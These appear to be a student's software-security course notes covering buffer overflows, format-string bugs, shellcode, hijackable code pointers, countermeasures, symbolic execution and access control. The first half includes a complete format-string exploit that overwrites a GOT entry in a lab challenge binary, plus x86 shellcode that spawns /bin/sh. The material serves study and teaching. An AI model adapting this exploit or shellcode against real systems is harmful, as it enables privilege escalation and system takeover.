Index

Buffer Overflow Vulnerability

Basics

Key Points

Note:
The shellcode address could be either the address on the stack or in the env.
You could pass shellcode to env such as:

    char *invoke[] = {vulnerable_program, args, NULL};
    char *env[] = {shellcode, NULL};
    execve(invoke[0], invoke, env);

In this way you could calculate the shellcode address as follows (x86):

Shellcode_Address = 0xc0000000 - 8 - strlen(vulnerable_program) - 1 - strlen(shellcode) - 1

Format String Vulnerability

Basics

Key points

Note:

  1. Y actually represents the fixed length in %Yc. In reality, you may need to calculate the exact data (address) you need to insert, especially there is additional chars at the beginning of the fmt. For example, for fmt "<pad> <address> %Yc%x$n", when you need to insert 0xbd, you have to calculate the value as follows: 
    Y = 0xbd - len(address) - len(pad)
  2. X should be the offset of the address(es) to write data, not the start of the %Yc%X$n.
  3. You could also use %Yu%X$n to write unsigned int. Change type to meet your requirement.
  4. Using %u or %c is recommended as it is clearer to represent the endianness. Be aware of the value of Y if you use int or other types.
  5. Be aware of the endianness of the target computer.

Example (x86):

  1. Exploitable Code:
  FILE *f = NULL;
  char log_entry[64];

  f = fopen("/var/sudolog", "a+");
  if (f == NULL) {
    fprintf(stderr, "Can't open sudolog file\n");
    return -1;
  }
  snprintf(log_entry, 64, "1001: %s\n", command);
  
  fprintf(f, log_entry);
  fclose(f);
  1. Exploit Code:
#define VULN "/var/challenge/level8/8"

extern char shellcode[];

// Hijack fclose() in .rel.plt
// Relocation section '.rel.plt' at offset 0x3bc contains 11 entries:
// Offset     Info    Type            Sym.Value  Sym. Name
// 0804a010  00000207 R_386_JUMP_SLOT   00000000   fclose@GLIBC_2.1
// shellcode address: 0xbfffffbd
int main(int argc, char *argv[]) {

    char fmt[] = "aa"                // pad
                                     // address: inserted value
                 "\x10\xa0\x04\x08"  // 0804a010: bd
                 "\x11\xa0\x04\x08"  // 0804a011: ff
                 "\x12\xa0\x04\x08"  // 0804a012: ff
                 "\x13\xa0\x04\x08"  // 0804a013: bf
                 "%166u%68$n"  // 0xbd(expected value) - 
                                    16(address len) - 
                                    2(pad) - 
                                    6(additional chars in snprintf())
                 "%66u%69$n"   // 0xff - 0xbd (prev len)
                 "%256u%70$n"  // 0xff - 0xff
                 "%192u%71$n"; // 0x100 + 0xbf - 0xff (0xbf < 0xff)
    char *invoke[] = {VULN, fmt, NULL};
    char *env[] = {shellcode, NULL};

    unsigned int addr = 0xc0000000 - 8 - strlen(VULN) - 1 - strlen(shellcode) - 1;
    printf("Using address %08x\n", addr);

    execve(invoke[0], invoke, env);

    return 0;
}

Other Vulnerabilities

Array Overflow

User controlled index and value:

index = (int) strtol(argv[1], NULL, 10);
value = (int) strtoul(argv[2], NULL, 16);
array[index] = value

Non-terminated String Overflow

char username[512];
char password[512];
strncpy(password, argv[1], 512);
strncpy(username, argv[2], 512);

Shellcode

General features (offline, local exploitation)

Example

.global start // export name to c

start:
    jmp str_addr
back:
    popl %ebx // (char *pathname) $ebx -> string address
    xorl %eax, %eax // get \x00 to use

    movl %ebx, 0x8(%ebx) // store string pointer
    movl %eax, 0xc(%ebx) // add null after string pointer
    movb %al, 0x7(%ebx) // add null right after string

    leal 0x8(%ebx), %ecx // (char *const argv[]) $ecx -> string address
    movl %eax, %edx // (char *const envp[]) $edx -> env pointer = NULL

    movb $0xb, %al // syscall index
    int $0x80 // interrupt signal

str_addr:
    call back // use call to record string address
    .string "/bin/sh"

Code Pointers to hijack

Saved Return Address

Function pointers

GOT (Global Offset Table)

.PLT: Dynamic library function initialization
.GOT.PLT: Data that stores dynamic library function pointer, default value is correspond initialization procedure in .PLT

Procedure:

  1. call libc::printf, jump to .PLT
  2. Initialize printf function pointer to .GOT.PLT
  3. Return to load address in .GOT.PLT and jump to printf
  4. call libc::printf, jump to .PLT and directly jump to printf

Destructor (.dtor)

Functions are invoked when the main() exited

Countermeasures

Canary-based solutions

StackGuard

StackGuard writes a canary value before the return address on the stack

Non-Executable Memory

Randomized Addresses and Instructions

Static Analysis

Tainted Flow Analysis

The root cause of many attacks is trusting unvalidated input

Symbolic Execution

Challenges

Solution:

Forking Execution

Symbolic executors can fork at branching points Happens when there are solutions to both the path condition and its negation

Path Explosion

Coverage-guided heuristics

Approach:
Score of statement = # times it’s been seen
Pick next statement to explore that has lowest score

Hybrid of BFS and coverage-guided

SMT Solver

Authorization

Access Control Terminology

Access Control Policies

Access control systems enforce policies.

Access Control Matrix

Simplest access control model.

Principals\Objects trash a.out
jason {r, w} {r, w, x}
mick   {r, x}

Access Control Lists (ACL)

ACL corresponds to a column in an access control matrix.

One major disadvantage of ACLs arises if we want to check the access rights of a particular subject efficiently, e.g. for auditing reasons. This will require looking at every object’s ACL.

Capability List

Capability list corresponds to a row in an access control matrix.

Capability lists are associated with the subjects. They are typically implemented in services and application software.
Database applications often use capability lists to implement fine-grained access control for queries to tables. Recently there has been renewed interest in capability-based access control for distributed systems. Capabilities can be represented using object identifiers and access masks.
However, in other circumstances a capability can be a ‘stand alone’ object digitally signed by the owner of the object, which can be presented to the reference monitor to gain access to an object.

One major disadvantage of capabilities arises if we need to check which principals can access a given object. This will require looking at every capability.

Information Flow

The following policy enforces confidentiality requirements:

information is only allowed to flow from a lower classification to a higher classification (or to the same level of classification).

What does such a policy prevent?

If the direction of permitted information flow in the prior example is changed, it is possible to enforce integrity.

Unix Permissions

Note: A file has exactly one owner and one group, but a user could be a member of multiple groups.

Permissions apply to the most specific categorisation of the user requesting access.

Execute permission

Unix filenames do not use extensions to indicate whether they contain executable content.
Execute permission bit is used to determine whether a file can be run as a program.
Unix allows a program to be executed without read permission on the file.

Permission for Directories